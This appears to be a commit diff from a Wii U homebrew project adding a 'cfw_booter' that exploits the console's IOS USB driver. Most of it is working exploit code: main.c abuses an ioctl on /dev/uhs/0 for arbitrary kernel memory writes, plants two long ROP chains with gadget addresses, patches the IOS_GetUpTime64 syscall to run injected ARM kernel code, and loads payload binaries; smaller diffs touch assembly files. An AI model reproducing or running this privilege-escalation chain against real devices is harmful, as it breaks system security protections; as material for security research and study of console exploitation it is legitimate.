/* OSContext identifier */
|
||||
uint32_t tag1;
|
||||
uint32_t tag2;
|
||||
|
||||
/* GPRs */
|
||||
uint32_t gpr[32];
|
||||
|
||||
/* Special registers */
|
||||
uint32_t cr;
|
||||
uint32_t lr;
|
||||
uint32_t ctr;
|
||||
uint32_t xer;
|
||||
|
||||
/* Initial PC and MSR */
|
||||
uint32_t srr0;
|
||||
uint32_t srr1;
|
||||
} OSContext;
|
||||
|
||||
#endif /* COREINIT_H */
|
7
cfw_booter/crt0.S
Normal file
7
cfw_booter/crt0.S
Normal file
@ -0,0 +1,7 @@
|
||||
|
||||
.extern __main
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
# jump to our main
|
||||
b __main
|
394
cfw_booter/main.c
Normal file
394
cfw_booter/main.c
Normal file
@ -0,0 +1,394 @@
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE (0x120000)
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08134100
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "payload/arm_kernel_bin.h"
|
||||
#include "payload/arm_user_bin.h"
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(arm_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x00140000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x00130000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle);
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
||||
|
||||
void __main(void) {
|
||||
|
||||
unsigned int sound_handle = 0;
|
||||
OSDynLoad_Acquire("sndcore2.rpl", &sound_handle);
|
||||
if(sound_handle == 0)
|
||||
{
|
||||
/* Quit ongoing menu load music */
|
||||
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||
void (* AXInit)();
|
||||
void (* AXQuit)();
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit);
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit);
|
||||
AXInit();
|
||||
AXQuit();
|
||||
}
|
||||
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
|
||||
int (* OSForceFullRelaunch)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
||||
|
||||
int (*IOS_Open)(char *path, unsigned int mode);
|
||||
int (*IOS_Close)(int fd);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||
|
||||
void (*OSExitThread)(int);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
||||
|
||||
void (*SYSLaunchMenu)(void);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
|
||||
|
||||
OSForceFullRelaunch();
|
||||
SYSLaunchMenu();
|
||||
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
||||
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
||||
|
||||
//!------ROP CHAIN-------
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
|
||||
OSExitThread(0);
|
||||
}
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle) {
|
||||
void (*DCFlushRange)(const void *addr, uint32_t length);
|
||||
void (*DCInvalidateRange)(const void *addr, uint32_t length);
|
||||
void (*memcpy)(void *dst, const void *src, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *pretend_root_hub = (int*)0xF5003ABC;
|
||||
int *ayylmao = (int*)0xF4F00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0xF00000;
|
||||
|
||||
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF4140000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
||||
memcpy((char*)(0xF4148000), arm_user_bin, sizeof(arm_user_bin));
|
||||
|
||||
pretend_root_hub[33] = 0xF00000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals)
|
||||
DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub"
|
||||
|
||||
DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals)
|
||||
DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals)
|
||||
DCFlushRange((void*)0xF4140000, sizeof(arm_kernel_bin)); //! |Make CPU fetch new data (with updated vals)
|
||||
DCFlushRange((void*)0xF4148000, sizeof(arm_user_bin)); //! |Make CPU fetch new data (with updated vals)
|
||||
}
|
||||
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) {
|
||||
void (*DCFlushRange)(const void *addr, uint32_t length);
|
||||
void (*DCInvalidateRange)(const void *addr, uint32_t length);
|
||||
void (*OSSleepTicks)(uint64_t ticks);
|
||||
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *ayylmao = (int*)0xF4F00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress)
|
||||
DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao"
|
||||
OSSleepTicks(0x200000); //! Improves stability
|
||||
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
22
cfw_booter/types.h
Normal file
22
cfw_booter/types.h
Normal file
@ -0,0 +1,22 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
typedef unsigned long long uint64_t;
|
||||
typedef long long int64_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef int int32_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef short int16_t;
|
||||
typedef unsigned char uint8_t;
|
||||
typedef char int8_t;
|
||||
|
||||
typedef uint32_t size_t;
|
||||
|
||||
typedef _Bool bool;
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define null 0
|
||||
|
||||
#define NULL (void*)0
|
||||
|
||||
#endif /* TYPES_H */
|
2
haxchi.s
2
haxchi.s
@ -1,5 +1,5 @@
|
||||
.include "defines.s"
|
||||
.create FILE_NDS_NAME, 0
|
||||
.create "rom.nds", 0
|
||||
|
||||
.nds
|
||||
|
||||
|
@ -1,6 +1,4 @@
|
||||
|
||||
FILE_NDS_NAME equ "kirby.nds"
|
||||
|
||||
; game stack return address
|
||||
HAX_TARGET_ADDRESS equ (0x107968AC)
|
||||
|
||||
|
@ -1,6 +1,4 @@
|
||||
|
||||
FILE_NDS_NAME equ "yoshids.nds"
|
||||
|
||||
; game stack return address
|
||||
HAX_TARGET_ADDRESS equ (0x1079B52C)
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user